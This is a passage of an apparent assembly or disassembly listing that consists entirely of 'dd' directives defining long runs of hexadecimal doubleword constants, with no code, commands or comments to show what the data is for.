866FB8E8h, 360B6227h, 2B259400h, 3413B5E2h, 368C97A0h dd 0EA36A9DAh, 16321EBh, 95307E57h, 41DC1DB5h, 41B582F5h dd 87DC09BBh, 8A7184B5h, 0AD56E4D6h, 89313CADh, 8FA242A3h dd 9F462A1h, 59D843C5h, 0C2297AF1h, 125E2430h, 286EC01Ah dd 0D758C07Ch, 0F69CED99h, 0FFFEEEC1h, 0F10A4423h, 63E22653h dd 3F56ADA8h, 1D2E7001h, 368235D5h, 12AEEC3Eh, 295AA279h dd 0B1DE2994h, 129CDB44h, 0BCA1DFEDh, 0B9E87BB0h, 0F32B2612h dd 0F00E4478h, 0CC6E26E3h, 8918BB7Ah, 0C58D226Ah, 727861FFh dd 6B53B043h, 560063h, 9D4C5EDDh, 5B446EEDh, 0EC9A3F33h dd 88F2D1FAh, 668F894Ch, 0BADF5416h, 2346A4B7h, 0B3FB6192h dd 0C3F1D93h, 8DC85817h, 9324B9B7h, 40D1C92Eh, 6EA2696Dh dd 9D2D61BAh, 0F416E23Dh, 9F7B2128h, 6E9E5D88h, 830C6C91h dd 31FF66EFh, 7664C3D3h, 0F17C984h, 667E1548h, 7587FB02h dd 436847A9h, 235464DDh, 46159447h, 57C0A233h, 2A5ADBC8h dd 1FE28773h, 8EE0018Ch, 1AD81036h, 37301A0Eh, 6F81422h dd 491F66A9h, 0E339F5C0h, 9F47552Dh, 92E3E05Dh, 36AD1F39h dd 7718D9AEh, 3A21008Ah, 0DF69A80h, 0E14CFD8Ch, 0DAB8AB10h dd 0A22D1073h, 9BF07B05h, 6B633F21h, 0BB158631h, 0A957710Eh dd 0B5DC0391h, 0F062A7B9h, 4CD50C68h, 695E7CB7h, 24376111h dd 29E432E6h, 6E18E6E7h, 1236542Fh, 72691E2Ch, 99FF7527h dd 9387076Ah, 0A06F79E8h, 8C1138DCh, 0C37E31EEh, 0D7F54A44h dd 0E9FEA864h, 0AA1464C2h, 0D7929B39h, 867A225Eh, 1F9D29DDh dd 4BE89C42h, 0E2D291CAh, 8366A412h, 0D5BF46EEh, 6D2868E5h dd 4F95DDB8h, 8BB8ACEBh, 30D91963h, 0C35DF396h, 0B7847E0Fh dd 0A929685Dh, 2A5D4935h, 1BF79A59h, 0A7743255h, 71492311h dd 61C70C66h, 19CD6F4Ch, 0E4FA3B8Dh, 67C88703h, 74205548h dd 0EA790DBEh, 0CB4CDAEEh, 981C3ECEh, 4F604F3h, 310EF59Eh dd 760447Fh, 735C95C9h, 985A868Dh, 0E942DB04h, 0C7495D2Eh dd 62880BFCh, 17488519h, 1EF4BEC4h, 0F3FB9CAAh, 6F03EC50h dd 4F0AFE9Ch, 288DAA88h, 1EF29940h, 6DAFBCCh, 0B5F19171h dd 99249523h, 69ABF9Dh, 0AA1C3556h, 442EA3BAh, 0A7C47AB0h dd 0FB4D5B59h, 41153C89h, 5189C2ACh, 0EC3B24C3h, 9D241455h dd 0C080FA57h, 0BF9674Ch, 8DE26542h, 0C24F12FFh, 24023711h dd 8086AD0h, 122B6BD7h, 92B889D4h, 0EAB60646h, 0D48A021Dh dd 66F666AAh, 68EA9CCFh, 87F57698h, 0D7FBEAC0h, 672DBA8Ah dd 0B44E9C09h, 59BBB72Eh, 445312DFh, 0DC80E4C6h, 7D52147Fh dd 3789693Ah, 73274431h, 4E721A81h, 512A7F47h, 38B947CEh dd 6D6DE524h, 0CE6EBD1Bh, 5735776Fh, 0D731B320h, 276182EAh dd 0E1038583h, 81172578h, 0CC507E7Bh, 0D1B0666Dh, 7FBD9502h dd 0BEAA2FD6h, 89CA8047h, 2A085024h, 0CB7D9E3Dh, 79791775h dd 0F8C8D164h, 41AC0FD7h, 1F5993ABh, 0DB477D12h, 0E4134D52h dd 8C343690h, 6AB29831h, 0E078958Ah, 0BD6BC8C9h, 38D2CA52h dd 0DBE9EE04h, 3536191Bh, 734D3C08h, 32588317h, 5500F3D2h dd 0DA8B73F6h, 0CE796434h, 55B5656Fh, 943C2E12h, 0EEB1556Fh dd 9B097DD3h, 6ED55A90h, 0ED04F389h, 0CF1E79ACh, 0CD56402h dd 88ADBAADh, 401867C7h, 0F3B101D0h, 0BDF6EC3Ah, 0E7513723h dd 31F5E7C4h, 7808B0F7h, 0C059F0CCh, 567D21DAh, 0FE3055B0h dd 0ED78F1A1h, 0EEACC81Bh, 68EB1206h, 30EA33EEh, 9AA5F1EAh dd 0C0ED61EDh, 0B8A84DBFh, 85100949h, 8594A8A7h, 0F0030697h dd 0C54217BCh, 58AF6797h, 644BE93Eh, 0F98015E7h, 0AFA734AEh dd 72FEA761h, 799F738Bh, 9E4905C1h, 8B3D5FD1h, 3AFFD72Dh dd 3653F60Bh, 22AA90A6h, 0E239BA9Ah, 96B1A4B8h, 16899B2Fh dd 0C4DD9A66h, 652BF9B0h, 6F3B3812h, 7872EC46h, 55FF73FEh dd 0AF4D969h, 511B4DB5h, 2400FD01h, 0C715E728h, 0AC99AA9Bh dd 86797514h, 6F404D28h, 8DE9942Ah, 41E09889h, 75B5AF13h dd 0AE2126E6h, 2E304300h, 2C41198Dh, 0F3A982FEh, 0A39C4B37h dd 0F4510282h, 0B419F29Eh, 57F5F299h, 0B2BC5CCAh, 578A6C49h dd 7AAD96CFh, 15B81FB5h, 4AE5A7EFh, 9C8AEB19h, 0EA12BCA7h dd 8884B624h, 7EF55AE2h, 0E412B47Eh, 0B9703C60h, 6CE92208h dd 40AE191Ch, 0FD46261Dh, 0E14FCCD6h, 0CBD67248h, 47162CFAh dd 0F303DF2Ch, 50E93570h, 1991A45Dh, 0F61C336Ch, 57982C71h dd 0D75E111Bh, 2C79FF7Fh, 6F68CC7Eh, 0F573997Ch, 0E21C606h dd 0DA9F1C27h, 750CEBB0h, 0F65F193Dh, 94292AB2h, 8E599C58h dd 5C66EFE0h, 76CE7508h dd 0FDC3FAF1h, 410BAE43h, 0B96B07EEh, 93FF4337h, 0C1483C71h dd 91962C74h, 8A757446h, 0A495E26Ah, 25913501h, 4E8C67D5h dd 0AF9C7FB0h, 66D18C6Dh, 0AD5BCB5Ah, 0C4AD221Ah, 0C9FCF386h dd 4C1CC76Ch, 120BEA70h, 0F53E28C1h, 0F563FF98h, 8D59ABC9h dd 0B53F9C6Eh, 0C128ABC4h, 0A6B72A4Fh, 0F68276DDh, 557E2943h dd 624CD7CFh, 8ABE05BFh, 0B448B033h, 0CF324752h, 51C4771Dh dd 0F7E28112h, 4EF4DE4h, 493821F4h, 9756273Fh, 0C6E0DBA7h dd 0C63732A3h, 904FA3BAh, 52832CBFh, 5FFFBA1Ah, 0D561609Fh dd 0BD1FC96Ch, 0D215B13Ah, 1ACC9DA6h, 0A739F187h, 0A27C181Fh dd 0F078E904h, 6123A9FAh, 6F4F487Eh, 0C6EA6F2Ch, 0B96F8B66h dd 17CE45E9h, 6D7148BBh, 0D84EA065h, 0C91B7EAh, 92DF3AA0h dd 0D77A436Dh, 6B3B21EDh, 0E5E57188h, 67FB5D32h, 5BA0F392h dd 88F359Dh, 0E13469Ah, 0BCF2D489h, 9C2AADB9h, 0CBE9E38h dd 85D794F0h, 0ED767E53h, 0B8EE0BC2h, 0E8BADB0Fh, 4A8029AAh dd 41F77E69h, 0C1985448h, 3DB7AB41h, 7758D0BDh, 3F721655h dd 4B4158D7h, 4B3FE428h, 0D9021A8Ah, 0EEC8E7A1h, 58D1F934h dd 3CB7A963h, 598987ACh, 68FE8D37h, 49AB8F7Bh, 0E53CD399h dd 8D5EFD10h, 0D1C4327Dh, 979C1250h, 0FD8194Fh, 41806803h dd 52BED265h, 2D32424Bh, 381E68A3h, 0AD2FB4AEh, 0AA4AC515h dd 29364EE5h, 8FA98E8Ch, 0FE0CF697h, 3927F0B0h, 0BFA7601Dh dd 0B5E4B2B9h, 6EB5387Dh, 0B20CFA71h, 5D8D2B39h, 0ECA82E50h dd 830F9B08h, 34C87076h, 72E739CBh, 672AB745h, 9BBCA9ECh dd 0FD474DABh, 9951236h, 19B10614h, 0F43C56AAh, 1886FC3Ch dd 0B4F8B779h, 0B967683h, 104AEEC3h, 9298FDE1h, 8DFEE75Dh dd 0E26EDB14h, 581AED6h, 8EE8130Dh, 88AF7BF5h, 0B95F5B07h dd 45341627h, 404E55A0h, 0E03FB60Dh, 67F3F360h, 7CB5C861h dd 51EB6886h, 0F812E20Fh, 0D57CA58Ch, 1A3AAF66h, 62AB0CCh dd 6AD0243h, 66536EDBh, 0F9B4A625h, 0ECEED2h, 0D6890451h dd 267BD150h, 389A8647h, 16812D69h, 3A531E4Ch, 7B0ED52h dd 63A7F5AEh, 92322CC2h, 0A02B8690h, 5B6C7AC0h, 4378C561h dd 0E64CAFCEh, 1C8AF3B6h, 75ADC905h, 0DC4ED609h, 7AA0C6F5h dd 5DD4336Bh, 925A62EBh, 2D2B1D8h, 33DC59C2h, 9A8268D7h dd 1BBAB548h, 0F7CD47ABh, 9738C1EBh, 18B29369h, 37658DFFh dd 7652E281h, 0C1379CF0h, 0CD6A9B67h, 0B4CCE3F7h, 0CCA4245Bh dd 6D78671Ch, 35AD5D6Fh, 0CEFCFFD6h, 1FA115C4h, 0EC89CBF2h dd 18D4DC7Ah, 79920711h, 0B7462FD9h, 49070670h, 0B79E2725h dd 0CA7467E2h, 0C436D020h, 5DCE2D8Ah, 340D7988h, 0B7B3EE8Ah dd 5F102F5Eh, 8DF48C8Bh, 5B4B2E54h, 0FBC4F366h, 0CCEBD90Bh dd 2B803CFBh, 53483648h, 0A13C4B98h, 2BBD997h, 323AB875h dd 0E6B5E6CAh, 1DEC757Dh, 0E2DE5043h, 9A8AE67Ah, 0BEFE9B49h dd 7E3C24CCh, 0C906F24Eh, 56E23DDEh, 0D362CAC5h, 90614084h dd 0D3F9DC01h, 28637FADh, 8133546Dh, 0C6FC4923h, 647722D2h dd 0F04DFB7Ch, 0B32AD1B1h, 4A8A34E0h, 0FCBF5C30h, 8F06FF25h dd 0F7320274h, 0B709FD72h, 0D648D687h, 3A7ACE4Dh, 4ABCBE73h dd 1B12B100h, 838E7EB9h, 0CB410EF7h, 50ED9D26h, 96F6A75h dd 0D0571210h, 0BD84F999h, 0DA55D5Eh, 0D7173B48h, 523EDC09h dd 887833Ah, 0EE4AFA30h, 79584D3Ch, 2CAC177Eh, 0F90C3E2Ch dd 74F4E136h, 0D33D07DDh, 13EC0C2Eh, 0B0D61173h, 49D2AE10h dd 0DDA6102Fh, 0A9DF025Ah, 75933732h, 0ECC85553h, 0BE4095D0h dd 234280Ah, 3C4A5D59h, 0FE2013C5h, 9AE4C9B2h, 7ADB5E32h dd 0EF81397Eh, 94854E4Ch, 0C84CA9C3h, 0BF4F94DBh, 66BF9759h dd 0FF9F9964h, 31113D9Ah, 54116B1Ah, 88F903D7h, 3696731Ch dd 77D6F7AFh, 0DA3D9266h, 0D1A82760h, 9F9F6A29h, 98213B36h dd 0A7B9B39Fh, 300FF461h, 0D5477A65h, 4ED9060Eh, 8F3B8306h dd 61B080BAh, 642BBF72h, 676300F0h, 0F62B3D3Ah, 0D2B766C5h dd 37FDF01Eh, 0D31B4774h, 0DE0AA616h, 3A5C3C34h, 500FA850h dd 0C9F91872h, 0B4232DF3h, 83AE6F4h, 0B4282137h, 0E11AD610h dd 0BE51618h, 6A318168h, 12CB4FAh, 54F8C3E3h, 76ADC583h dd 5C7E7CAEh, 35DDFF4Bh, 999CDD3Bh, 0B5AD4CF6h, 0A905D8E4h dd 84FF1800h, 36BBEA1Ah, 877094D2h, 520C418Bh, 6869B1C4h dd 0CCB348F4h, 3290AEB4h, 0F62ED643h, 15B5EC99h, 76B4AC46h dd 5FEBEABh, 6BDF9C01h, 1E1388B7h, 8296AA24h, 0F2F3AECCh dd 407F7B5Dh, 0C2E8605Eh, 0F2372C4Ch, 7B868E52h, 811749ECh dd 0BAD9796Ah, 8BE56A0Bh, 6122FEB7h, 3008BA2Eh, 277775A8h dd 0FE7F6097h, 0E847093Eh, 0EF9E4FFDh, 6258458Fh, 0C8922531h dd 7DD89899h, 8AB738E0h, 34292C25h, 85D2D5BDh, 0E906BC8h dd 4A83F01Dh, 0E6D664FAh, 696FEEA1h, 7C67446Dh, 0FC0006F8h dd 0A92C393Fh, 5FF7E7E6h, 4C142EE8h, 2D7CAA58h, 372951A4h dd 0F8C2C396h, 5A6CCF98h, 37BB838Fh, 0FA5B3C21h, 45598E95h dd 75520CC4h, 0FE5DFCA2h, 0B0BC8B57h, 0FE12320Dh, 2D4EEFADh dd 4ED7C2A8h, 96F84918h, 58AEAC9Bh, 8E33BF56h, 22148E03h dd 55D38E87h, 0B6E0E3ABh, 2B419101h, 13A7059Ch, 46F241CEh dd 0A81935F7h, 65E91945h, 0F1426579h, 3D4107ECh, 0CD7FE798h dd 1EAEF645h, 0A160D16Bh, 0DBC4BFBh, 0CFCA049Bh, 38D118D0h dd 0F52D3D33h, 4A5715CEh, 0D802AF7Ah, 5E8E3C4Fh, 0D9F06A83h dd 0CD7DC1C9h, 0FE6D6502h, 0D2C07C2Bh, 0BF063F1Eh, 23155494h dd 716720CCh, 7EA9E038h, 0AB9BD944h, 0E2A93227h, 6B248AAAh dd 2BD99563h, 0EAB3DF04h, 662F8B25h, 0E7EBF181h, 0D4A8B6FFh dd 3F998172h, 0E55A7ED8h, 101E5FD8h, 67A36C19h, 0DE90E7D3h dd 0B74C01A9h, 6BBE804h, 0C667B253h, 49B55AF1h, 7F89791Ah dd 0E2E33DBDh, 98ADEF8Bh, 8501E442h, 52EF9E74h, 0B1E86A03h dd 4CEBE2h, 0B9F0F6DEh, 8AED0D33h, 64B019CCh, 8A1DD05h dd 0FC3FD673h, 18C46AC3h, 0A8BDB28Ah, 75CF727Bh, 0D9037649h dd 6AD4347Dh, 400B1h, 8676AB5Ch, 0D1E91B93h, 0C53CE74Ah dd 0CCE0ADAFh, 0AFF4F94Bh, 5193C363h, 734DFDA9h, 19430B30h dd 6F438CDAh, 0C4798920h, 62AE87D2h, 0BC167DCDh, 0EFB2F6BDh dd 7C3C5824h, 0CDA1F553h, 594BB762h, 46CA474h, 136A804Ah dd 0B5855BF1h, 0A3BFE242h, 2E1EB088h, 0D780570Eh, 229D6246h dd 1CEB2E21h, 4AFE7D16h, 66B9EEBDh, 13F2FE81h, 414F186Dh dd 0D16E5986h, 990B3464h, 7E0CF035h, 0E83C641h, 0F37E6EF8h dd 0D8CB6BBh, 0E3625F83h, 6A85C158h, 781CE2Ah, 0C90382FFh dd 90A10A7Fh, 3459502Ah, 29D9DA38h, 0D5B1404Fh, 0D131D71Ah dd 0F2093EE8h, 1F544B5Ch, 0E28445D8h, 350C719Fh, 0A13E9F15h dd 6D8C6DB3h, 40AFB9C0h, 71E12FC7h, 9C23A6C5h, 9BB89A9Ch dd 2194F3A4h, 0F60676B8h, 0B9805475h, 8A534201h, 0DAF150A7h dd 0C16B2343h, 8088B570h, 9B16FB31h, 0EFEAF11h, 196E92D1h dd 78B9C4B7h, 4DF636EAh, 93AD3223h, 46BB2FF8h, 0F17610B4h dd 1EB8FDCDh, 34C9A7B1h, 5D6DA7D7h, 1487E6E5h, 0D1D8336Ch dd 94975A72h, 0E420A204h, 7E00D7FEh, 39A133FEh, 1FCA457Dh dd 6A30D749h, 32671BBAh, 0C28F57ADh, 315C7072h, 0ADD2E84Bh dd 96BC210Dh, 8A03043Dh, 0E9823689h, 0CC9A823Bh, 28F15454h dd 4A0E9F41h, 7302F87Ah, 4310E951h, 5379360Bh, 0E4835060h dd 0E144DAA8h, 0C2933318h dd 4CAFD3A3h, 2F470C7Ch, 48685F57h, 613E7448h, 7F066E1Ch dd 0D57F9741h, 0B8C9E44Ah, 0E792BC90h, 0D53F9C07h, 0FD99904h dd 4EA0D443h, 534A7D78h, 0F57C9042h, 0DBFFEF6Fh, 723BD6h dd 0B657523h, 31ADE3A6h, 58B11C6h, 8627837Bh, 0E87FEE69h dd 878F75F4h, 0AA167FC0h, 0A9823E31h, 0ED71E429h, 4CCD9470h dd 7F5AE6C5h, 0E1D3DA6Ch, 55F24830h, 0B28FD134h, 83F30D78h dd 0FE08EAA3h, 0E5B7E900h, 7968F03Dh, 0C4DD0755h, 51AA3264h dd 6ED4629Eh, 2158A432h, 0BBD0D97Ah, 0FFAEB386h, 0EA4FFE48h dd 1CDCA1A3h, 7CC491Ch, 4E6939FFh, 63228870h, 0A222CA99h dd 0A88696B7h, 0B0CE40A4h, 0EC3B3E57h, 0B37E0F43h, 3DBA2DA8h dd 652F025Eh, 0D2194E5Dh, 333BDEFCh, 4354B9D8h, 0CC7DE16Ch dd 8BAB80CAh, 0E0038341h, 2B3FE8C3h, 0F397FCABh, 5709E36h dd 38C68537h, 2625854Ah, 0A377BE3Dh, 9817E59Eh, 0C0A52899h dd 75837AA3h, 5791189h, 0BC19E43Ah, 4A24FDF8h, 0D1AF37ABh dd 0F832D08h, 42625418h, 5EF62935h, 0EBE91F3Eh, 5D57D39Ah dd 9641012Bh, 43AE66F5h, 704D71EFh, 864583F9h, 0EC4E7A1h dd 6BA191D9h, 33DED37Ch, 0EBA2E34Bh, 0AF630BE4h, 3BD3583h dd 44E51B78h, 0E85BC0F5h, 0F99EB59Ch, 0E578B99Dh, 67837A68h dd 779BC963h, 82222C9Dh, 80FAEE90h, 9AE2171h, 0A317B539h dd 0D2380C1Fh, 0B97EA218h, 5070F779h, 56E2BF53h, 0C6A91BBEh dd 0F54B78CAh, 30AC3B2Ah, 8D39EA22h, 68F3D3E1h, 25FAF557h dd 10596D35h, 0DAE90409h, 8D48B8C2h, 41DCA828h, 0DBC5CDE7h dd 57451F7Eh, 89C5DDE9h, 0AB51B7A2h, 0E1F49A49h, 0DA497527h dd 407C616h, 0FF5E03EDh, 18CFEEC3h, 0C1708800h, 0A78B7DEDh dd 116FBD9Fh, 79DD89D6h, 0BEC036C1h, 2E51D06Ch, 4E2E5F47h dd 644D704Ch, 345DD533h, 0BBC6D075h, 0ADD1C4BEh, 4D067C9Dh dd 0A87AE644h, 0FFB4D871h, 893FDCEAh, 8E5531AFh, 2C0860C1h dd 0B7785EF1h, 8123CCDAh, 0B7B6D92Fh, 0F1924A29h, 0F6C9FA76h dd 0FD407016h, 780C2D49h, 6D201A12h, 0ADAD9B1Ah, 0FEADBB4Eh dd 28E6DDAh, 0F0E9DACh, 5971187Bh, 975E19CDh, 0CF96757h dd 0C01B7A2Dh, 0E9297E31h, 44DB5BB6h, 658E2674h, 0EE7E28BEh dd 88B554F6h, 2B250E36h, 151CDC9h, 31B16980h, 3BA3988Eh dd 69865440h, 0A2CEDCEEh, 0E1FB9B74h, 155AF74Dh, 71245446h dd 1D440310h, 5910369Fh, 0FD15DAECh, 0C86947B9h, 5F5322FFh dd 1728BD70h, 2907575Bh, 1173C96Dh, 17F6C049h, 7BDFDF34h dd 0C17228DAh, 9C1AB20Ah, 0C1FCA572h, 0D3A345D6h, 69BED7Dh dd 0BDC7DFDDh, 389017B4h, 74E218B8h, 0EF805520h, 0FCC26548h dd 0C93EF73Eh, 0C1CF73B4h, 55C42636h, 0D457CBF3h, 7D3DA575h dd 56C99FE9h, 4EE2D535h, 0E0E6DA9h, 0BC7BE21Bh, 2A24EF5Eh dd 0E893E09Ch, 4FE5D6EFh, 0AB92DAFBh, 0E8CC533Ch, 43C1C613h dd 579144DDh, 0F895BAF7h, 0A4B0DB0Ch, 0CCCC76B1h, 0FF9F3F9h dd 0F5CAFB2Dh, 0A8430BF4h, 0D867C04Dh, 26CA0101h, 977D819Ah dd 454C84BFh, 3B4DA3DAh, 0B31E315Dh, 923C3770h, 17610032h dd 0AA31A6F9h, 0E9375454h, 6DAB9079h, 2B66FFD9h, 0F29183BBh dd 0EAD73655h, 0C3D57951h, 0CACFFC67h, 9473AE38h, 0E88B4E1h dd 0FE114807h, 1C4A682Bh, 0F0151B44h, 0F1031E37h, 0AB56FFB8h dd 0B1A43DA9h, 0BF839CAh, 0A5962BFEh, 0F5BAB2D9h, 0E44F00ABh dd 5A995CD1h, 0EE0A620Fh, 443A69AAh, 565B6C18h, 7F8645F8h dd 41997F31h, 2ED9F00Ah, 52E8696Ch, 0E8CE9BECh, 1AD77339h dd 0CC80A428h, 0F643EA4Eh, 0EF05676h, 0C2934701h, 0F07726C7h dd 9539B86Ah, 0D37ADD63h, 6551E0C8h, 0F33779C8h, 3325DE8Bh dd 4822DF8Ch, 0C8E7C92Fh, 14B2376Eh, 319FD5CDh, 13FA421Bh dd 6F3E40FAh, 7862BF7h, 0AB635E73h, 8066F1E5h, 0D70BC10Dh dd 8ED2B5FDh, 77872FFAh, 669A0A90h, 49CE6C00h, 0BEFBF2Fh dd 9171947Eh, 4793DC73h, 0A56DC4D0h, 0D59478Ah, 0B20714F9h dd 0E2A34D6Ch, 920C51C3h, 9E0724ECh, 0D5F025BBh, 84CBDC7Ch dd 6CF7261Ch, 0BB1F6BA9h, 0F9DCC01Eh, 2FF7655Eh, 90557CCEh dd 0CC9154D6h, 6789EC3Bh, 31D1116Fh, 8AFCC059h, 7E122A7h dd 0B656B0Bh, 82F57462h, 37CFF90Fh, 0A5F4C0E2h, 94C4CFE5h dd 309AE97Dh, 5FEAF21Fh, 7D9E6D80h, 0DA2989E6h, 0D28A57E9h dd 85F327C0h, 0C45D228Ah, 0F99AC228h, 7A9CEB3Eh, 6181B407h dd 13964FFAh, 504401EAh, 666FABE4h, 5157EDBDh, 0FBEA83FDh dd 9A56A24h, 4EFABA8Bh, 93CF9D0Ah, 278239h, 1717E07Ah dd 31C5A262h, 49B06832h, 0BD2417B2h, 6516164Bh, 0A08F66F5h dd 0D58DC3FCh, 3F31EB4Ch, 0EBDE90CBh, 2FF46B2Bh, 3494D3B2h dd 92536FCBh, 0ED2BF119h, 6DCCCDFCh, 86C6E641h, 0BFBEE886h dd 0AFECBD20h, 2E0781C0h, 0A20FEE3h, 8921ABBFh, 0C87B0615h dd 1CEC166Eh, 44AFBDF7h, 687CEE46h, 0B6F905BBh, 0A070363Dh dd 7F6AE0F4h, 291D3AC2h, 16E4F1EEh, 5719311Ch, 0B83D2A7Ah dd 589367A3h, 0C8832C83h, 924389EAh, 0F65DA825h, 0E11613BDh dd 41D69337h, 4153B7F3h, 0BA80AF26h, 0A1901FEAh, 7446A3F1h dd 647B1321h, 992126BCh, 0BCB6AFA0h, 0CF4EDC10h, 0B7002F97h dd 5D794C8Ch, 95B3D48h, 3C4FEB4Dh, 68F53DE3h, 0C3D97F8Ch dd 0FF6CFE1Bh, 4C9E09Ah, 6F42D8B1h, 0EA529D01h, 0EB88AC90h dd 0A0721514h, 18E03A6Bh, 0ECF1483Dh, 465394D5h, 262811DEh dd 63797117h, 0BB847A5h, 9B9F0932h, 5D985B57h, 0EB858428h dd 0AE999191h, 48714C88h, 60F380D2h, 8635C8FDh, 0C71AB67Ch dd 0E668B44Eh, 0F1634A15h, 54D6521Bh, 0B746458Bh, 4C3C8F2Ch dd 0EB895E55h, 1C9A8D80h, 3653AF46h, 45354BDh, 2DA8524Bh dd 58F84949h, 83EA76F8h, 0ADAFA790h, 6F27DC63h, 0B4888E6Fh dd 0F38DD5EAh, 0EF79A68h, 875390BCh, 0C2589075h, 0D4EE9784h dd 88723EDAh, 9A89B0E8h, 6FEADC5h, 7C6CD5A6h, 0C26F4A39h dd 1A1D0AB9h, 2D6CB9CFh, 0E46C390Eh, 0F2C3550Ch, 52543E87h dd 0FCD721E3h, 46EE18C9h, 4B8B0FB5h, 0D42A41A7h, 41752A98h dd 9748262Bh, 94A18E07h, 646D146Fh, 0D4A0EDFFh, 9BF0B3Bh dd 49650B0Fh, 0AA08F8F5h, 1F0E59EAh, 370734EBh, 6574B71Ah dd 19CBB05Eh, 89DF7AEBh, 1A8EF5BCh, 0EB814460h, 9F2FB4F9h dd 0C2577FD2h, 22F27DC2h, 816D3ECh, 0E75CED61h, 0E4859E20h dd 1670A95Dh, 9AAD3F3Bh, 0C40076B8h, 86DE48FCh, 0A10904Eh dd 0FFBF3E56h, 7817A3F6h, 284D4ADDh, 0DC8426D0h, 0D8918Eh dd 0D03D2B1Dh, 0D70D7EEAh, 0DF6D907Ch, 1BE93D6Fh, 2CFF50F4h dd 0BBD46317h, 2C3BEB49h, 0DA912A19h, 5D9C2F8Eh, 0EC0471FEh dd 9EFAA233h, 0AFBB7BB2h, 52D47467h, 0AE1D22EFh, 12731A6Eh dd 9E4CA78Fh, 4A467170h, 9A8D7A27h, 0F179766Bh, 3C45AF8Fh dd 0A5DA7BD9h, 0E48F1C8Ch, 871578BEh, 6E094E6Bh, 17A96420h dd 56B57288h, 690E38Dh, 0A7E418D9h, 431F4BF6h, 0F3D9EFh dd 9C90ACD0h, 30952655h, 7B4E6ADFh, 5FE9BE3h, 0CCDBDB44h dd 65F501A7h, 3DDDE5CBh, 5399D7D6h, 0ED42C7F9h, 0FE9EBD74h dd 0A80F45Eh, 0AC8A7EE8h, 0C7103E02h, 0D6EF8C7Dh, 198A8718h dd 94DA05CBh, 1B84DD06h, 651FB8Ah, 7BE1AA5Ch, 4BBD38BBh dd 0A6D0B6B5h, 7D0E7562h, 0C0FA3B3Ah, 851C8DE8h, 4362E9F3h dd 0FB20D56Bh, 621F8062h, 193C872Bh, 0BBD77E0Ch, 0BA1E79FDh dd 8B2C6578h, 0F0E81962h dd 0C4551140h, 0EA73A328h, 0D9AF3289h, 0CB634BC3h, 18CCEC8Dh dd 0E8A6AC46h, 7946BB2Ah, 0F5D03338h, 6E425C6Eh, 2DA77009h dd 0E4CC1D1Ch, 0BF62B7DDh, 0F0DD1D68h, 2C933DC8h, 0C44CA46Eh dd 37EFE016h, 0A14BAC42h, 0D6E1A462h, 804370D8h, 4F65663Eh dd 50A2D51Eh, 911AD15Bh, 58CE52A0h, 9CB3F20Dh, 8DD4333h dd 21EA7E4Bh, 0D34093BDh, 0A444CF67h, 42B0E133h, 5C356624h dd 0CE667A8Bh, 6679158Ah, 0D7092E75h, 0AEB27E9h, 0A865121Eh dd 0E1D0FBA3h, 382D4494h, 0ADF8E251h, 1C904CB2h, 0AB63D00Fh dd 0F5D70313h, 0BABD2B73h, 58A1404Bh, 0B7C5DDD9h, 4678A7C2h dd 972CC3FEh, 0B8DD4F3h, 0E7A06F3Bh, 9CD497E9h, 6EE1D122h dd 4CBC5914h, 514E432h, 7C61344h, 72EFFE22h, 0CFD1BD8Fh dd 0B9B66E35h, 8AB53624h, 0CD558573h, 96EC3998h, 304DA937h dd 6D35BC03h, 19A50576h, 10F46572h, 4E624D3Bh, 20926Eh dd 78950B91h, 4085E1A8h, 7D6E3F96h, 4542D668h, 18BB5323h dd 0EED35E1Bh, 6FD6849Bh, 0CBB416B8h, 3BC0BA00h, 3FDC08BCh dd 639EAA3h, 0DE724EDDh, 9CA92375h, 76E7B80Ch, 486C642Ah dd 97643A2Eh, 0F2DF7881h, 0F364A33Ah, 110B065Ch, 63E26D5Eh dd 541469C5h, 8CDC0EF9h, 9AE02658h, 0FBDB0482h, 0D85F2BE9h dd 0F6BCA31Bh, 8773B455h, 0E5DF3870h, 46725214h, 0F56D27CAh dd 0F99A4815h, 99301B5h, 0B8389946h, 4D903ED0h, 0C1C317DDh dd 91C5C44Eh, 5D5B8459h, 0CAAC3DE1h, 331B3075h, 0FF38E25Ah dd 56DBFA9h, 0C9F42D2Ah, 9B78424Fh, 0E8153CB6h, 8AF7D723h dd 23535A2Dh, 1764CA8Bh, 0BC3B7E55h, 4C9FB30Dh, 0CCFA3967h dd 0CA3F6BFDh, 0C99BE58Ah, 41A5BF65h, 5CB0329h, 34F3028h dd 83AC9359h, 62B03D8Ah, 354B896Ah, 5A280061h, 8AA9186Ah dd 36843D33h, 91245243h, 62F530DAh, 0E81A6440h, 5F18DE7Ah dd 0BEAB66E0h, 7E0DAFB7h, 0DEA69B0Dh, 1E2AA579h, 4380638h dd 0B260C4EFh, 9E7DB11Ch, 0AFDEAB0Ch, 90AC8536h, 436501B2h dd 6D75A7DEh, 0A9FD4842h, 9AEB617Bh, 2A9A6BE0h, 6365E699h dd 0F463ACB4h, 9D6E187Dh, 341EEA32h, 1C3C6E2Ch, 0EA3A44EEh dd 0F784AD6h, 984C3EBEh, 8EC947AFh, 83D80B08h, 0C508CDA2h dd 18C008Bh, 6D03D3C3h, 6901169Dh, 36DCC8AEh, 820BF7D5h dd 0CE85634Fh, 1BB5E0D7h, 2F14403Ch, 0AB00660Fh, 41E56C81h dd 60C14D10h, 1FA503CCh, 0A17920B2h, 59E03B8Fh, 0F4C4E7F7h dd 6322ECA3h, 353CD5ABh, 0FFB9942Bh, 0D6006AEBh, 88F94DB4h dd 0D972C40Eh, 0DFFDCE45h, 75D2AE8Ch, 38CB9840h, 6CB73C32h dd 5D9FF096h, 2830A44h, 30CBEEAh, 0D65E18D9h, 0D6A18900h dd 41134404h, 0E4EB504Ah, 78D57E0Dh, 0C936F257h, 0A055B372h dd 2ABBFF75h, 7A3D4621h, 42379D1Dh, 703F00B1h, 87CD153Eh dd 0C9893EECh, 7AFCDAC9h, 7E7300C3h, 0E3B3CE21h, 51EE00CAh dd 0B3E4BEE1h, 49AD6A3Ch, 0DCE23B1Ah, 33675904h, 0CAB396FEh dd 6A5B4BDDh, 7D72DE8Bh, 179BCCE0h, 94A39080h, 0EA62801Ah dd 0B62E3E91h, 2AAFDDB3h, 8F437830h, 0DCA4C46Eh, 0EDE92C44h dd 0B0C23F48h, 0DE06F600h, 89A801CEh, 0A741139Bh, 770F1D93h dd 3B0203B3h, 2F98EBF1h, 6108ED6Eh, 1F0E52E0h, 21FC76D1h dd 32507A1Eh, 459C09FFh, 92AB0DE0h, 578FA9D5h, 856AC6ADh dd 0D7D4AE31h, 19600066h, 0F30F1FC4h, 0F1A5902Bh, 64689BD4h dd 29FBDA7Ch, 9428F87Ch, 